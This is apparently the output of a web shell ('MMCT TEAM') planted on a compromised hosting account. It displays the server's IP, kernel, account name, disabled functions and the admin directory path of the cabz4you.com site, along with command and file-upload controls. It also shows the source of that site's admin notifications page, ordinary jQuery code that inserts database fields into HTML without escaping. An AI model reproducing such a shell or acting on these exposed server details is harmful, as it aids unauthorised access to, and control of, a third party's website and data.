MMCT TEAM
Server IP : 82.112.239.40  /  Your IP : 18.225.98.59
Web Server : LiteSpeed
System : Linux in-mum-web1676.main-hosting.eu 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
User : u641149403 ( 641149403)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u641149403/domains/cabz4you.com/public_html/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u641149403/domains/cabz4you.com/public_html/admin/notifications.php
<?php
require_once 'header.php';
require_once 'navbar.php';
?>

<!-- Page content -->
<div class="container-fluid pt-8">
  <div class="page-header mt-0 p-3">
    <h3 class="mb-sm-0">NOTIFICATIONS</h3>
    <button id="addd" title="" class="btn btn-primary pull-right" data-toggle="modal"
      data-target="#add-notification-modal">
      <i class="fa fa-plus"></i>
    </button>

  </div>
  <div id="alert2" class="col-md-12"></div>
  <!-- Table -->
  <div class="row">
    <div class="col-12">
      <div class="card shadow">
        <!-- <div class="card-header bg-transparent border-0">
                    <h2 class=" mb-0">Notification List</h2>
                </div> -->
        <div class="">
          <div class="grid-margin">
            <div class="">
              <div class="table-responsive p-3">
                <table id="example" class="table card-table table-vcenter text-nowrap  align-items-center">
                  <thead class="">
                    <tr>
                      <th style="width: 80px">S.No</th>
                      <th>Title</th>
                      <th>Description</th>
                      <th>image</th>
                      <th style="width: 150px"> &nbsp;&nbsp;&nbsp;&nbsp;Action</th>
                    </tr>
                  </thead>
                  <tbody id="tbody">
                  </tbody>
                </table>
              </div>
            </div>
          </div>
        </div>
      </div>
    </div>
  </div>
</div>


<!--Add Modal-->
<div class="modal fade" id="add-notification-modal">
  <div class="modal-dialog">
    <div class="modal-content">
      <div class="card-header">
        <h4 style="text-align: left;">Add Notifications <span id="alert"></span></h4>
      </div>
      <form id="add-notification-btn" method="POST" enctype="multipart/form-data">
        <div class="modal-body">
          <div class="row">

            <div class="col-md-12">
              <label>Title</label>
              <input type="text" class="form-control" name="notification" id="add-notification" required="required"
                autofocus>
            </div>
            <div class="col-md-12">
              <label>Message</label>
              <textarea type="text" class="form-control" rows="3" name="msg" id="msg" required="required"
                autofocus></textarea>
            </div>
            <div class="col-md-12">
              <label>Image</label>
              <input type="file" class="form-control" name="image" id="image">
            </div>
          </div>
          <br />
          <div class="modal-footer">
            <button type="button" class="btn btn-default pull-left" data-dismiss="modal">Close</button>
            <button type="submit" name="submit" id="" class="btn btn-primary">Add Data</button>
          </div>
        </div>
      </form>
    </div>
  </div>
  <!-- /.modal-content -->
</div>
<!-- /.modal-dialog -->
<!--Edit Modal-->
<div class="modal fade" id="edit-notification">
  <div class="modal-dialog">
    <div class="modal-content">
      <div class="card-header">
        <h4 style="text-align: left;">Edit notification <span id="alert"></span></h4>
      </div>
      <div class="modal-body">
        <div class="row">
          <div class="col-md-12">
            <label>Title</label>
            <input type="text" class="form-control" name="edit-notification-title" id="edit-notification-title"
              required="required" autofocus>
          </div>
        </div>
        <br />
        <div class="modal-footer">
          <button type="button" class="btn btn-default pull-left" data-dismiss="modal">Close</button>
          <button type="button" name="save-notification-btn" id="save-notification-btn" class="btn btn-primary">Save
            Changes</button>
        </div>
      </div>
    </div>
  </div>
  <!-- /.modal-content -->
</div>
<?php
require_once 'footer.php';
require_once 'jslinks.php';
?>
<script>
  $(document).ready(function () {
    output();

    // Adding a notification in add modal

    $('#add-notification-btn').submit(function (e) {
      e.preventDefault();
      $("#global-loader").show();
      $.ajax({
        url: "notifications_ajax.php",
        type: "POST",

        data: new FormData(this),
        contentType: false,
        cache: false,
        processData: false,
        success: function (response) {
          $("#global-loader").fadeOut();
          if (response) {
            $('#alert').html('<span class="p-1 m-1 alert alert-success">Successfully Added.</span>').show()
            setTimeout(function () {
              location.reload()
            }, 4000)
            $('#add-notification-name').val('')

          }

        }
      })
    })

    // To save changes in edit modal    

    $('#save-notification-btn').click(function () {
      $("#global-loader").show();
      $.ajax({
        url: "notifications_ajax.php",
        type: "POST",
        data: {
          save_id: $('#save-notification-btn').val(),
          save_title: $('#edit-notification-title').val(),
        },
        success: function (response) {
          $("#global-loader").fadeOut();
          if (response == "Success") {
            $('#alert1').html('<span class="p-1 m-1 alert alert-success">Successfully Updated</span>').show()
            setTimeout(function () {
              location.reload()
            }, 4000)
          } else {
            $('#alert1').html('<span class="p-1 m-1 alert alert-danger">Something Wrong, can\'t update.</span>').show()
            setTimeout(function () {
              $('#alert1').hide()
            }, 4000)
          }
        }
      })
    })
  })

  // To show all the notifications in main menu

  function output() {
    var inHTML = '';
    var i = 1;
    $.getJSON("notifications_ajax.php?show_notifications=1", function (data) {
      $.each(data, function (key, item) {
        inHTML +=
          `<tr><td>${i}</td><td id="notification${i}">${item.title}</td><td id="msg${i}">${item.msg}</td><td id="notification${i}"><img style="width:100px" src="../${item.img}"></td><td><button type="button" id="del" name="del" class="btn btn-danger" onclick="del(${item.id})" value="${item.id}" ><i class="fa fa-trash"></i></button></td></tr>`;
        i++;
      })
      $('#tbody').html(inHTML);
      $('#example').DataTable({
        layout: {
          topStart: {
            buttons: ['copy', 'csv', 'excel', 'pdf', 'print']
          }
        },
        "stateSave": true,
        dom: 'lBfrtip',
        "lengthMenu": [[10, 25, 50, 100, 250, 500, 1000, -1], [10, 25, 50, 100, 250, 500, 1000, 'All']]
      });
    })
  }

  // Deletion of notifications

  function del(e) {
    var verify = confirm("Do you really want to delete!!!");
    if (verify) {
      $("#global-loader").show();
      $.ajax({
        url: "notifications_ajax.php",
        type: "POST",
        data: {
          delete_id: e,
        },
        success: function (response) {
          $("#global-loader").fadeOut();
          if (response == "Success") {
            $('#alert2').html('<span class="p-1 m-1 alert alert-success">Successfully Deleted</span><br/>').show()
            setTimeout(function () {
              location.reload()
            }, 2000)
          } else {
            $('#alert2').html('<span class="p-1 m-1 alert alert-danger">Something Wrong, can\'t delete.</span><br/>').show()
            setTimeout(function () {
              $('#alert2').hide()
            }, 2000)
          }
        },
      })
    }
  }

  //On click of edit button to show values of database in edit modal

  function edit(e) {
    $("#global-loader").show();
    $.ajax({
      url: "notifications_ajax.php",
      type: "POST",
      dataType: "JSON",
      data: {
        notification_id: e,
      },
      success: function (response) {
        $("#global-loader").fadeOut();
        var current = response;
        $('#edit-notification-title').val(current.title);
        $('#save-notification-btn').val(current.id);
      },
    })
  }

</script>

MMCT - 2023